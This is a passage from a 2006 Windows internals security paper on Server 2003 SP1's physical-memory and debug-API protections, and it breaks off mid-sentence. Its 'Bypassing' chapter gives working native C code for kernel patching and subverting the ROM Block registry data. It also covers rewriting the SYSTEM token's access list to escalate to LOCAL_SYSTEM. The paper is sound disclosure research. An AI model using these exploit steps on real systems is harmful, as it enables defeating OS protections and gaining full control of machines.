SysDbgWriteVirtual BLOCKED NOT_IMPLEMENTED 
SysDbgReadPhysical BLOCKED NOT_IMPLEMENTED 
SysDbgWritePhysical BLOCKED NOT_IMPLEMENTED 
SysDbgReadControlSpace BLOCKED NOT_IMPLEMENTED 
SysDbgWriteControlSpace BLOCKED NOT_IMPLEMENTED 
SysDbgReadIoSpace BLOCKED NOT_IMPLEMENTED 
SysDbgWriteIoSpace BLOCKED NOT_IMPLEMENTED 
SysDbgReadMsr BLOCKED NOT_IMPLEMENTED 
SysDbgWriteMsr BLOCKED NOT_IMPLEMENTED 
SysDbgReadBusData BLOCKED NOT_IMPLEMENTED 
SysDbgWriteBusData BLOCKED NOT_IMPLEMENTED 
SysDbgCheckLowMemory BLOCKED NOT_IMPLEMENTED 
SysDbgEnableKernelDebugger ALLOWED - 
SysDbgDisableKernelDebugger ALLOWED - 
SysDbgGetAutoKdEnable ALLOWED - 
SysDbgSetAutoKdEnable ALLOWED - 
SysDbgGetPrintBufferSize ALLOWED - 
SysDbgSetPrintBufferSize ALLOWED - 
SysDbgGetKdUmExceptionEnable ALLOWED - 
SysDbgSetKdUmExceptionEnable ALLOWED - 
SysDbgGetTriageDump BLOCKED NOT_IMPLEMENTED 
SysDbgGetKdBlockEnable ALLOWED - 
SysDbgSetKdBlockEnable ALLOWED - 
SysDbgRegisterForUmBreakInfo BLOCKED INVALID_INFO_CLASS 
SysDbgGetUmBreakPid BLOCKED INVALID_INFO_CLASS 
SysDbgClearUmBreakPid BLOCKED INVALID_INFO_CLASS 
SysDbgGetUmAttachPid BLOCKED INVALID_INFO_CLASS 
SysDbgClearUmAttachPid BLOCKED INVALID_INFO_CLASS 

System Debug Class Access NTSTATUS 
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Note that the STATUS_INVALID_INFO_CLASS return code might be due 
to the fact that these classes have only been implemented in later 
kernels (such as Vista or an upcoming Windows Server 2003 SP2). 
 
Just as seen in the earlier \Device\PhysicalMemory section 
protection, there is no way to bypass this protection. The new API is 
hardcoded to refuse the classes above, whether or not it is called from 
user mode or kernel mode.  
 
3.2.2 Welcome KdSystemDebugControl 
 
Logically, Microsoft did not simply rip out 25 debug classes that they 
had spent time developing without offering a suitable replacement. 
For those classes that are now “unimplemented”, a new API, 
KdSystemDebugControl, was added and exported inside the kernel, 
using the same parameters as the native mode version, but reachable 
only through a driver.  
 
The prototype for accessing this new function is the following: 
 
NTSTATUS 
NTAPI 
KdSystemDebugControl( 
    SYSDBG_COMMAND Command, 
    PVOID InputBuffer, 
    ULONG InputBufferLength, 
    PVOID OutputBuffer, 
    ULONG OutputBufferLength, 
    PULONG ReturnLength 
    KPROCESSOR_MODE PreviousMode 
); 
 
The supported commands have already been shown earlier, so here 
are the accompanying main structures that should be used for them, 
accordingly: (note that full documentation on their usage will not be 
provided, since this goes beyond the scope of this paper; however, the 
usage of the members should be pretty clear and evident. Note that 
Request is a 1/0 flag specifying write or read).  
 
typedef struct _SYSDBG_PHYSICAL 
{ 
    PHYSICAL_ADDRESS Address; 
    PVOID Buffer; 
    ULONG Request; 
} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; 
 
typedef struct _SYSDBG_VIRTUAL 
{ 
    PVOID Address; 
    PVOID Buffer; 
    ULONG Request; 
} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; 
 
typedef struct _SYSDBG_CONTROL_SPACE 
{ 
    ULONGLONG Address; 
    PVOID Buffer; 
    ULONG Request; 
    ULONG Processor; 
} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; 
 
typedef struct _SYSDBG_IO_SPACE 
{ 
    ULONGLONG Address; 
    PVOID Buffer; 
    ULONG Request; 
    INTERFACE_TYPE InterfaceType; 
    ULONG BusNumber; 
    ULONG AddressSpace; 
} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; 
 
typedef struct _SYSDBG_BUS_DATA 
{ 
    ULONG Address; 
    PVOID Buffer; 
    ULONG Request; 
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    BUS_DATA_TYPE BusDataType; 
    ULONG BusNumber; 
    ULONG SlotNumber; 
} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; 
 
typedef struct _SYSDBG_MSR 
{ 
    ULONG Address; 
    ULONGLONG Data; 
} SYSDBG_MSR, *PSYSDBG_MSR; 
 
typedef struct _SYSDBG_TRIAGE_DUMP 
{ 
    ULONG Flags; 
    ULONG BugCheckCode; 
    ULONG_PTR BugCheckParam1; 
    ULONG_PTR BugCheckParam2; 
    ULONG_PTR BugCheckParam3; 
    ULONG_PTR BugCheckParam4; 
    ULONG ProcessHandles; 
    ULONG ThreadHandles; 
    PHANDLE Handles; 
} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; 

 
3.2.3 Legitimate Use Alternative Solutions 
 
As shown above, one way to restore the previous functionality 
provided by ZwSystemDebugControl is through the usage of a driver 
which calls into KdSystemDebugControl. Because the former can 
directly support user mode requests (through the use of the 
PreviousMode argument), there is no need to create an MDL for the 
user mode buffer, since the kernel function does all this by using 
ExLockUserBuffer. As such, the raw buffer can be passed from the 
driver, which simplifies your IRP handling since METHOD_DIRECT can 
be used. 
 
Alternatively however, and the method which Microsoft would like 
developers looking to legitimately replace their usage of 
ZwSystemDebugControl to use, is the usage of the Windows Debugger 
SDK, which includes a header containing WinDBG specific structures 
and functions which will map in directly to the WinDBG device 
driver that Microsoft has written to perform the operations described 
above. By using the header wdbgexts.h, a call to use 
SystemDbgReadMsr can be simply replaced by the inlined call ReadMsr 
present in this header, which will then send an IOCTL to the driver 
with an IG_READ_MSR function code. The WinDBG driver is then 
responsible for calling KdSystemDebugControl with the internal 
SYSDBG_MSR structure.  
 
The author strongly suggests using this alternative and documented 
method in order to perform custom local kernel debugging. Apart 
from the much easier semantics, as well as the availability of a driver 
that’s already been written, using this documented approach 
guarantees backwards compatibility and forward compatibility with 
future Windows versions, as well as support from Microsoft on their 
WinDBG newsgroup. A large number of samples are also available in 
the SDK. 
 
The only problem with using the SDK is that it requires the Windows 
Debugger package to be installed on the customer’s computer, since 
this is what contains the  driver necessary for communication with 
KdSystemDebugControl on the newer kernels. Including this driver by 
default would simply create the same problem as on previous 
Windows versions, since a kernel mode backdoor would now be 
included into every user’s computer. 
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Chapter 4 
 
Bypassing 
 
 
Now that the implementation of both mechanisms of protection has been 
exposed, we have a clear way of bypassing them, once a new method of 
touching kernel mode memory has been found. Recall that, for the first 
case, we can patch the system during boot time, patch the actual 
OBJECT_HEADER_NAME_INFO structure, or patch the code which checks for 
it while trying to open a handle.  
 
For the second case, we need some way to access 
KdSystemDebugControl. Because the parameters are almost identical to 
ZwSystemDebugControl, one way of doing this is to create a trampoline 
which will call the kernel version of the call, while appending a UserMode 
value for the PreviousMode parameter. This would allow us to 
transparently use the old API again. 
 
Unfortunately, we now have a chicken and egg problem, since these 
modifications require access to kernel memory in the first place. To 
achieve this, an entirely new flaw had to be found in the kernel, which 
allowed its integrity mechanisms to be subverted. Although the presence 
of such a flaw would negate the need to use the 
\Device\PhysicalMemory section in the first place, it so happens that 
the nature of the flaw which will be presented is severely limited, and 
access to the section must still be restored to gain full control. As such, 
this could count as part of the “exploit code”. As well, this is shown for 
demonstrative purposes on how the flaw can be used.  
 
Finally, the reason why we choose to re-enable ZwSystemDebugControl is 
once again for demonstrative purposes, but also because enabling it fully 
negates any new security in Windows 2003 SP1, and lets us directly 
access the Bus,  I/O Space and MSRs.  
 

4.1 Locating the Physical Address 
 
We start our exploit with the most generic, common, but ultimately 
important part of the patching process, which is to locate the code 
sequence responsible for doing the access check. It would be pointless to 
modify the code which gives the 0x10000 flag to the 
\Device\PhysicalMemory object, since that code only runs at boot, and 
would require a reboot of the machine, patching NTLDR or fixing the 
kernel’s checksum, and disabling Windows file Protection. That 
procedure could simply be done on-disk, and defeats the whole purpose of 
doing this on a live system. As such, our modus operandi will be to 
patch, in memory, the ObpIncrementHandleRoutine so that it does not 
validate the flag. 
 
Because we cannot access Ring 0 memory from Ring 3, and because this 
exploit does not present a method with which the current CPL of the 
thread could be modified to become 0, we will have to rely on the well 
covered method of physical memory access in order to change the 
mapped virtual address’s values. To do so, we will first have to map the 
kernel in user-mode, find the code sequence of  bytes which corresponds to 
this access check, and finally convert this address to the proper physical 
address.  
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4.1.1 Mapping the Kernel 
 
Mapping the kernel is a rather straight-forward and simple procedure 
to perform, with the added twist that we will also need to figure out 
the current location at which it has been loaded, as well as its name. 
Normally, it would be sufficient to simply read the entrypoint in the 
PE Header, but unfortunately, all kernel-mode modules are built with 
the default value of 0x10000, which allows the Boot Loader and 
Kernel the chance to relocate the images wherever they are best 
suited to fit in memory. Additionally, we also cannot rely on the 
name of the kernel, which is a common mistake seen in low-level 3rd-
party code. The NT Boot Loader supports loading a variety of 
differently named kernels, and the installer itself can choose a 
different name based on your system type. Some of the most common 
names are ntoskrnl, ntkrnlmp (for Multi Processor systems), 
ntkrnlpa (for PAE systems) and ntkrpamp (for Multi Processor, 
PAE systems). 
 
Therefore, to locate this information, we will have to rely on an 
undocumented but sadly well-known native function called 
NtQuerySystemInformation, and use the SystemModuleInformation  
class. Thankfully, parsing this list won’t be required, because the 
kernel is hard-coded as the first image that will be returned. Although 
it’s always possible for this to change, it’s highly unlikely, as this API 
and its features have been well-known and unfortunately abused by 
many applications and drivers (Vista actually added a new *Ex class, 
clearly showing that Microsoft was worried about breaking 
compatibility with something that should’ve never been used).  
 
Now that we have the name, we can convert it to a UNICODE_STRING 
structure and ask the NT User-Mode Loader to load it for us. Note 
however that we want to make sure that its dependencies won’t be 
loaded or parsed, and that the Loader won’t attempt to call its 
entrypoint, since this could cause loading it to fail , as well as 
needlessly slow-down our request. To do this, we need to give 
LdrLoadDll the IMAGE_FILE_EXECUTABLE_IMAGE  flag. After the call, 
we now have the virtual base address where the kernel was loaded, 
which we can now use for our lookup.  
 
Sample code for performing the described operation would look like 
this: 
 

    // 
    // Query the kernel's module entry 
    // 
    Status = NtQuerySystemInformation(SystemModuleInformation, 
                                      &ModInfo, 
                                      sizeof(ModInfo), 
                                      NULL); 
    if (Status != STATUS_INFO_LENGTH_MISMATCH) 
    { 
        // 
        // Our called failed for an unexpected reason 
        // 
        DbgPrint("GPM: Couldn't get kernel module entry: %lx\n", Status); 
        return Status; 
    } 
 
    // 
    // Initialize the kernel's full path name 
    // 
    Status = RtlCreateUnicodeStringFromAsciiz(&KernelName, 
                                              ModInfo.Modules[0].PathName); 
    if (!Status) 
    { 
        // 
        // We can't load the kernel for some reason... 
        // 
        DbgPrint("GPM: Couldn't create kernel image name\n"); 
        return STATUS_INSUFFICIENT_RESOURCES; 
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    } 
 
    // 
    // Keep only the short name 
    // 
    KernelName.Buffer = KernelName.Buffer + 
                        (KernelName.Length / sizeof(WCHAR)) - 
                        8 + 1 + 3; 
 
    // 
    // Map the kernel 
    // 
    Flags = IMAGE_FILE_EXECUTABLE_IMAGE; 
    Status = LdrLoadDll(NULL, &Flags, &KernelName, &KernelBase); 
    if (!NT_SUCCESS(Status)) 
    { 
        // 
        // We can't load the kernel for some reason... 
        // 
        DbgPrint("GPM: Couldn't load kernel image: %lx\n", Status); 
        return Status; 

 } 

 
4.1.2 Finding the Code Sequence 
 
To actually locate the code sequence necessary for patching, one can 
choose to take the automated approach, which would require a 
complex disassembler and analysis program that would be able to find 
the right code, either by pattern matching with a starting point at an 
exported API or variable, or by using symbolic data to get to the 
private function directly. Another, much simpler method for this kind 
of patch is to build a static table. 
 
The actual method and functionality of building this table will be 
discussed a bit later, but its creation will require finding the code 
sequence before compiling. As was shown previously, the code 
responsible for the check looks similar to: 
 
test    [eax+OBJECT_HEADER_NAME_INFO.QueryReferences+3],40h 
jz      short FlagNotSet 

 
Therefore, a couple combinations exist. Firstly, the compiler might’ve 
decided to use the entire flag value, which is 0x40000000. It might’ve 
also decided to use only the short value, or 0x4000. This will affect 
the offset from EAX, of course. Apart from these changes, EAX can 
also be any other register here, as the compiler might’ve done the 
allocation differently for another build. Also, instead of test, the check 
might be a “cmp”. With a “cmp”, the jz path would actually be jmp. 
Finally, even with a test, this code might actually contain a jnz 
instruction, since the FlagNotSet code might follow in-line, and the 
jnz would go to FlagIsSet. 
 
To quickly locate this check, recall that the function name is 
ObpIncrementHandleCount, and that this code should be close to the 
constant 0xC0000022, which is the error code that’s returned when 
the protection is active. Looking for this status code is probably one 
of the best approaches when doing an automated analysis as well, 
because in combining it with pattern analysis and a disassembler, the 
location and code leading to it should be easy to programmatically 
find. 
 
For the table approach, for reasons of alignment that will also be 
covered in a later section, once the actual jz or jnz has bee n located, 
find out its address and align it to 4 bytes, writing down the original 
bytes that are located around it (either up or down, or both, to match 
the alignment). Then write down the version with the changed byte 
that will make the switch from jz or jnz.  
 



Relsoft Confidential Page 21 9/21/2006 

 

Finally, instead of relying on a version number when doing the table 
and also the check in the patcher, consider using the PE header 
checksum. This will be a much more reliable way of making sure that 
the patch matches the correct version of the kernel. 
 
4.1.3 Converting to a Physical Address to and 
Mapping it 
 
As many of the readers should know, virtual to physical address 
conversion is done by the CPU or OS by using a mechanism known as 
Page Table Translation, which involves a table with Page Directories 
containing Page Table Entries which map a virtual page to a physical 
page using the Page Frame Number. These tables are located at 
0xC0000000, which is clearly up there in Ring 0 memory. By itself, 
this would make any attempt to edit virtual memory nearly 
impossible (or at the very least, very difficult), since it would be 
impossible to know which address to map. Thankfully, because of one 
of the architectural design decisions done by the NT developers, this 
is a lot easier then it should be. As part of the boot process, the Boot 
Loader is actually responsible for setting up paging and the initial 
PTEs. For reasons in code simplification and also x86 restrictions, the 
first megabyte of physical memory is identity mapped, and the tables 
are ORed with KSEG0_BASE, creating a direct relationship between the 
physical memory addresses and their virtual counterparts (which is 
further enforced by the optimization of using Global Pages and/or 
Large Pages). As such, the following mask can be applied to all 
addresses on the Main 4 MB System Page: 
 
// 
// Get the kernel's entry 
// 
MappedAddress = ModInfo.Modules[0].ImageBase; 
 
// 
// Convert it to physical memory 
// 
MappedAddress = (PVOID)((ULONG_PTR)MappedAddress &0x1FFFFFFF); 
 
With this address in sight, we now need to map it. Although this will 
only result in an empty page of data, we do this because it’s possible 
that our memory location might be “stolen” later by some other 
structure, heap, stack or DLL. Because this code was written as 
native code, that is highly unlikely, but it’s better to be safe then 
sorry. We try the allocation twice, in case the first attempt failed 
because something was already present at that location (in which case 
we will attempt to free it):  
 
// 
// Allocate the memory now, to make sure that nobody else will try 
// using it. Once we start calling other DLLs it's possible this space 
// will get filled. Hopefully it's free now. 
// 

TryAllocation: 
ReadSize = PAGE_SIZE; 
Status = NtAllocateVirtualMemory(NtCurrentProcess(), 
                                 &MappedAddress, 
                                 0, 
                                 &ReadSize, 
                                 MEM_RESERVE | MEM_COMMIT, 
                                 PAGE_EXECUTE_READWRITE); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Was there already some memory here? 
    // 
    if (Status == STATUS_CONFLICTING_ADDRESSES) 
    { 
        // 
        // Try to free what's here 
        // 
        DbgPrint("GPM: Memory conflict: %p\n", MappedAddress); 
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        Status = NtFreeVirtualMemory(NtCurrentProcess(), 
                                     &MappedAddress, 
                                     &ReadSize, 
                                     MEM_RELEASE); 
        if (!NT_SUCCESS(Status)) 
        { 
            // 
            // We can't even free it! There's nothing to do anymore... 
            // 
            DbgPrint("GPM: Couldn't release memory needed: %lx\n",  
                     Status); 
            return Status; 
        } 
 
        // 
        // Try the allocation again 
        // 
        goto TryAllocation; 
    } 
} 

 

 
4.2 Modifying System Configuration Data 
 
The true exploitative part of this paper begins in this critical section, 
which is how we will be able to turn the virtual memory that we just 
allocated into a valid and usable mapping of the physical memory that 
will be backing it. What we are about to do relies on a feature which the 
NT developers had to implement in order to support full-screen 
applications in DOS mode. As you know, full-screen drawing in GDI (the 
Windows Graphics Interface) can be extremely slow, even on relatively 
high-end machines (and much more so on the machines available during 
NT development), because the VDM (the virtualizer used for 16-bit DOS 
support in NT) needs to convert every BIOS call to the appropriate GDI 
drawing method (this is slow even when not in full-screen, try doing “dir” 
in command.com instead of cmd.exe).  
 
As such, when launched in full-screen mode, VDM directly writes to the 
Video Buffer, usually located at 0xB8000, 0xC0000 or 0xB0000. It also 
needs to access the BIOS, which is also at those addresses, or 
0xD0000/0xE0000. Of course, these addresses are in physical memory, 
which means that VDM would be unable to access them, unless it would 
do the operations in kernel-mode (which could cause costly context 
switches).  Because these addresses can change (even the ones mentioned 
above do not cover all the possibilities, and don’t even cover their actual 
sizes), VDM reads them dynamically at run-time (because NT doesn’t 
cache them, this allows the flaw to be exploited) based on registry 
settings filled by the kernel’s Configuration Manager (Cm). This data is 
data can be simply edited by a non-system component, if its structure is 
known, validate and respected. 
 

4.2.1 Locating the ROM Block Array 
 
On Windows NT, most hardware configuration data is stored in a 
structure known as a CM_RESOURCE_LIST. This list describes a 
CM_FULL_RESOURCE_DESCRIPTOR structure which includes a 
member of type CM_PARTIAL_RESOURCE_LIST containing an array of 
CM_PARTIAL_RESOURCE_DESCRIPTOR structures, which in turn can 
describe hardware-specific data in their own descriptors (or sometimes 
directly in the descriptor’s union for hardware-specific data, such as 
I/O port addresses). For the purpose of locating and saving 
Video/BIOS ROM address ranges, NT uses the CM_ROM_BLOCK 
structure, and stores it as part of the System Configuration Data in 
the registry, which is located at the 
\\REGISTRY\\MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM registry 
key.  
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Here’s a look at how this data looks like as views in the registry 
editor, keeping in mind that the second 
CM_PARTIAL_RESOURCE_DESCIRPTOR block is what interests us 
(surrounded in green, with the actual device specific data 
highlighted). 
 

 
 
The device specific data in this case, as said above, is the 
CM_ROM_BLOCK structure, which is a two-member structure made up 
of the base address of the block, followed by its size. This is visible by 
the 0xC0000, 0xD0000 and 0xF0000 values seen above. The code to 
read this value and ultimately get the ROM Block Array is rather 
typical for any device-driver developer, which handle these CM_ 
structures in some driver PnP calls, and can be implemented as seen 
below: 
 
// 
// Initialize the object attributes 
// 
InitializeObjectAttributes(&ObjectAttributes, 
                           &CmMachineHardwareDescriptionSystemName, 
                           OBJ_CASE_INSENSITIVE, 
                           NULL, 
                           NULL); 
 
// 
// Open the registry key 
// 
Status = NtOpenKey(&KeyHandle, KEY_READ | KEY_WRITE, &ObjectAttributes); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("Couldn't open hardware key: %lx\n", Status); 
    return Status; 
} 
 
// 
// Allocate space for the key data 
// 
KeyData = RtlAllocateHeap(RtlGetProcessHeap(), 0, 512); 
if (!KeyData) 
{ 
    // 
    // Out of memory! 
    // 
    DbgPrint("Out of memory while allocating key data buffer\n"); 
    Status = STATUS_INSUFFICIENT_RESOURCES; 
    goto Fail; 
} 
 
// 
// Open the configuration data 
// 
Status = NtQueryValueKey(KeyHandle, 
                         &NameString, 
                         KeyValueFullInformation, 
                         KeyData, 
                         512, 
                         &ResultLength); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
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    // 
    DbgPrint("Couldn't read configuration data: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Get the Full Resource Descriptor 
// 
FullDescriptor = (PCM_FULL_RESOURCE_DESCRIPTOR)((ULONG_PTR)KeyData + 
                                                KeyData->DataOffset); 
 
// 
// There should be a descriptor here, make sure of that. If there is 
// one, then it should have at least 2 resource entries. 
// 
if ((KeyData->DataLength < sizeof(CM_FULL_RESOURCE_DESCRIPTOR)) || 
    (FullDescriptor->PartialResourceList.Count < 2)) 
{ 
    // 
    // This key doesn't seem to have data we need 
    // 
    DbgPrint("Key: %lx has invalid data\n", KeyHandle); 
    Status = STATUS_NOT_FOUND; 
    goto Fail; 
} 
 
// 
// Get the Partial Resource Descriptor 
// 
DescriptorEnd = (ULONG_PTR)(FullDescriptor + 1); 
PartialDescriptor = (PVOID) 
    (DescriptorEnd + 
     FullDescriptor->PartialResourceList.PartialDescriptors[0].u. 
     DeviceSpecificData.DataSize); 
 
// 
// Make sure that the data length matches the size expected for at least 
// one ROM Block. 
// 
if (KeyData->DataLength < ((ULONG_PTR)PartialDescriptor - DescriptorEnd + 
                           sizeof(CM_ROM_BLOCK))) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("Key: %lx has invalid data or no ROM Blocks\n", KeyHandle); 
    Status = STATUS_ILL_FORMED_SERVICE_ENTRY; 
    goto Fail; 
} 
 
// 
// Goto the last entry 
// 
RomBlock = (PCM_ROM_BLOCK)((ULONG_PTR)(PartialDescriptor + 1) + 
                           PartialDescriptor->u. 
                           DeviceSpecificData.DataSize); 
 

4.2.2 Subverting the ROM Block Array 
 
Since we now have a pointer to the last ROM Block in the list, we 
can freely modify it (note that we allocated a static number of bytes, 
512) and add the information for our physical address. This is trivial, 
and only requires us to set the pointer and size that we require. Since 
we’re only patching a function, we only need to allocate a page 
(PAGE_SIZE).  
 
Once our ROM Block is now configured, it is critical to modify the 
device specific data size value in CM_PARTIAL_RESOURCE_DESCRIPTOR 
structure, or the kernel will simply skip our added entry. This value 
should therefore be increased by the size of our new CM_ROM_BLOCK. 
We only need to write the registry data back, as seen below: 
 
// 
// Add our data 
// 
RomBlock->Address = PtrToUlong(TargetBase); 
RomBlock->Size = PAGE_SIZE; 
 
// 
// Increase data size 
// 
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PartialDescriptor->u.DeviceSpecificData.DataSize += sizeof(CM_ROM_BLOCK); 
 
// 
// Write new data back 
// 
Status = NtSetValueKey(KeyHandle, 
                       &NameString, 
                       0, 
                       REG_FULL_RESOURCE_DESCRIPTOR, 
                       FullDescriptor, 
                       KeyData->DataLength + sizeof(CM_ROM_BLOCK)); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Notify debugger 
    // 
    DbgPrint("Couldn't write configuration data: %lx\n", Status); 
} 
 

Fail: 
// 
// Close the registry key, free the key data and return status 
// 
NtClose(KeyHandle); 
if (KeyData) RtlFreeHeap(RtlGetProcessHeap(), 0, KeyData); 
return Status; 
 

Note that in both reading and writing the registry, we used the 
REG_FULL_RESOURCE_DESCRIPTOR type. This value is critical and 
needs to be used instead of REG_BINARY, as the wrong type of value 
could cause significant problems for the kernel at later stages, which 
could consider the value invalid (this wouldn’t affect the system much 
in this case, since these values are only used for DOS full -screen 
applications, but damaging the registry is never good). 
 
Another important gotcha to mention is that the NT developers did 
seem to add a minimal number of protection into the function which 
reads this array, because it automatically bypasses any value before 
0xB0000. Remember that it was mentioned earlier that the first 1 MB 
of physical memory is identity mapped, so critical structures such as 
the PCR, PDE, IDT, GDT, TSS, etc are all present in addresses 
below 0xB0000.  
 
It could be assumed that the original developers of the functions 
sought to protect against such an attack, but did not envision the 
relative ease of translating memory addresses present in the kernel’s 
page. 
 

4.3 Obtaining the SYSTEM Primary Token 
 
Just because we’ve modified the ROM Block Array doesn’t really get us 
anywhere in terms of our patching attempts; true, VDM will now 
allocate the memory, but it will either fail because a DLL is already 
loaded there, or simply not be of any use to us, unless we remotely 
attach a thread to the process, and then proceed to do our patching. 
Because this method is quite dirty, untested and much harder to debug, 
it seems much a much nicer design to actually perform this exploit 
locally within our program, as well as provide a demonstrative basis on 
how administrators can do local privilege escalations to the 
LOCAL_SYSTEM account (this is something normal, just somewhat tricky 
to do) and how to actually initialize VDM. 
 
Since security on Windows is based on objects called tokens, the ultimate 
goal of the exercise is to acquire the LOCAL_SYSTEM token (present in the 
System process) for our own process. However, this requires the caller to 
have a special privilege (SeAssignPrimaryTokenPrivilege), and this 
privilege is not present, even for Administrator accounts (and cannot be 
enabled). Therefore, we must first use a technique known as 
impersonation, so that the thread’s token will have the same privileges as 
a LOCAL_SYSTEM thread. To actually impersonate a token however, we 
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need to be able to duplicate it, and this requires having 
TOKEN_DUPLICATE_ACCESS to the specified token. Unfortunately for us, 
this access mask is disabled for the LOCAL_SYSTEM token, and our first 
task thus becomes editing the LOCAL_SYSTEM token so that we can get 
the access mask required.  
 
Before showing how this editing is made, a small look at how NT handles 
access protection for an object should make the upcoming code and 
explanations clearer. Each object generally has an associated Security 
Descriptor, which is an opaque system object present in two forms, either 
absolute or relative, and which points to 4 other structures, as seen 
below.  
 

 
 
The one which is important for our purposes is called the DACL, or 
Discretionary Access Control List, and it has the generic ACL structure, 
which is also opaque, and of variable size. This ACL structure in turn 
contains (always within inside itself, never as pointer -referenced data) 
Access Control Entries, or ACEs. It is these ACEs which define the 
Access Mask for the object granted to the specified SID (which, as said 
previously, identifies an account).  
 
 

4.3.1 Getting TOKEN_DUPLICATE_ACCESS 
 
Thankfully, the System process is not protected against being open by 
the another process running in the Administrator account, and the 
System process’ token itself can be opened for WRITE_DAC and 
READ_CONTROL access, which allows us to edit the ACL (Access 
Control List) so that Administrators can duplicate it. Before starting 
all this however, we will require obtaining the SID for the current 
account. A SID is an identifier that identifies each account on an NT 
system, and it will be required when editing the System process’ token 
to identify our process’ user. To do this,  opening the current process’ 
token and querying the token with the TokenUser information class 
will return the SID:  
 
// 
// Open our own token 
// 
Status = NtOpenProcessToken(NtCurrentProcess(), 
                           TOKEN_ALL_ACCESS, 
                           &TempTokenHandle); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to open self token: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Query the user 
// 
Status = NtQueryInformationToken(TempTokenHandle, 
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                                 TokenUser, 
                                 TokenInformation, 
                                 sizeof(TokenInformation), 
                                 &SdLength); // Dummy 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to query self token: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Save pointer to the SID and close the temporary handle 
// 
SelfSid = ((PTOKEN_USER)TokenInformation)->User.Sid; 
NtClose(TempTokenHandle); 

 
The next step is to use the newly obtained READ_CONTROL access in 
order to query the token’s security descriptor. This security 
descriptor, among other things, will contain the DACL. This is the 
ACL that describes the permissions that each user account has in 
regards to the token, and querying it can be done like this: 
 
// 
// Open the SYSTEM process with full access 
// 
ClientId.UniqueProcess = UlongToHandle(4); 
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 
Status = NtOpenProcess(&ProcessHandle, 
                       PROCESS_ALL_ACCESS, 
                       &ObjectAttributes, 
                       &ClientId); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to open System process: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Open its token with R/W ACL Control 
// 
Status = NtOpenProcessToken(ProcessHandle, 
                            WRITE_DAC | READ_CONTROL, 
                            &TempTokenHandle); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to open System token: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Get the token's security descriptor's size 
// 
Status = NtQuerySecurityObject(TempTokenHandle, 
                               DACL_SECURITY_INFORMATION, 
                               NULL, 
                               0, 
                               &SdLength); 
if (Status != STATUS_BUFFER_TOO_SMALL) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to get System token SD size: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Allocate the size we need 
// 
SecurityDescriptor = RtlAllocateHeap(RtlGetProcessHeap(), 0, SdLength); 
if (!SecurityDescriptor) 
{ 
    // 
    // Out of memory! 
    // 
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    DbgPrint("Out of memory while allocating new Securiy Descriptor\n"); 
    Status = STATUS_INSUFFICIENT_RESOURCES; 
    goto Fail; 
} 
 
// 
// Get the token's security descriptor 
// 
Status = NtQuerySecurityObject(TempTokenHandle, 
                               DACL_SECURITY_INFORMATION, 
                               SecurityDescriptor, 
                               SdLength, 
                               &SdLength); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to get System token SD: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Get the DACL 
// 
Status = RtlGetDaclSecurityDescriptor(SecurityDescriptor, 
                                      &DaclPresent, 
                                      &OldDacl, 
                                      &DaclDefaulted); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to get System token DACL: %lx\n", Status); 
    goto Fail; 
} 
 

Now that the DACL has been obtained, the next series of steps must 
allocate a buffer large enough to hold the unmodified DACL, as well 
as an extra entry which will describe our TOKEN_DUPLICATE_ACCESS 
access. As shown in the diagram above, each ACE also contains a 
SID, and since SIDs are variable sized, then we will need to calculate 
the length of the current user’s SID (which was obtained earlier) as 
well. After the allocation, the old DACL can be copied as a whole, 
after which its size must be updated, and a new ACE can be added. 
Thankfully, there are more Runtime Library (Rtl) calls just for this:  
 
// 
// Create a new DACL for 3 ACEs 
// 
NewDaclSize = OldDacl->AclSize + 
              sizeof(ACCESS_ALLOWED_ACE) + 
              RtlLengthSid(SelfSid); 
Dacl = RtlAllocateHeap(RtlGetProcessHeap(), 0, NewDaclSize); 
if (!Dacl) 
{ 
    // 
    // Out of memory! 
    // 
    DbgPrint("Out of memory while allocating new ACL buffer\n"); 
    Status = STATUS_INSUFFICIENT_RESOURCES; 
    goto Fail; 
} 
 
// 
// Copy the current DACL 
// 
RtlCopyMemory(Dacl, OldDacl, OldDacl->AclSize); 
 
// 
// Update its size 
// 
Dacl->AclSize = (USHORT)NewDaclSize; 
 
// 
// Add an ACE giving us access to the token 
// 
Status = RtlAddAccessAllowedAce(Dacl, 
                                ACL_REVISION, 
                                TOKEN_ALL_ACCESS, 
                                SelfSid); 
if (!NT_SUCCESS(Status)) 
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{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to edit System token DACL: %lx\n", Status); 
    goto Fail; 
} 
 

As it was shown in the starting diagram, security descriptors can exist 
both in relative and in absolute form. When the code made the call to 
receive the security descriptor (through NtQuerySecurityObject), 
this returned a relative descriptor, and not an absolute one, because 
the descriptor lives in kernel-memory, and an absolute one would 
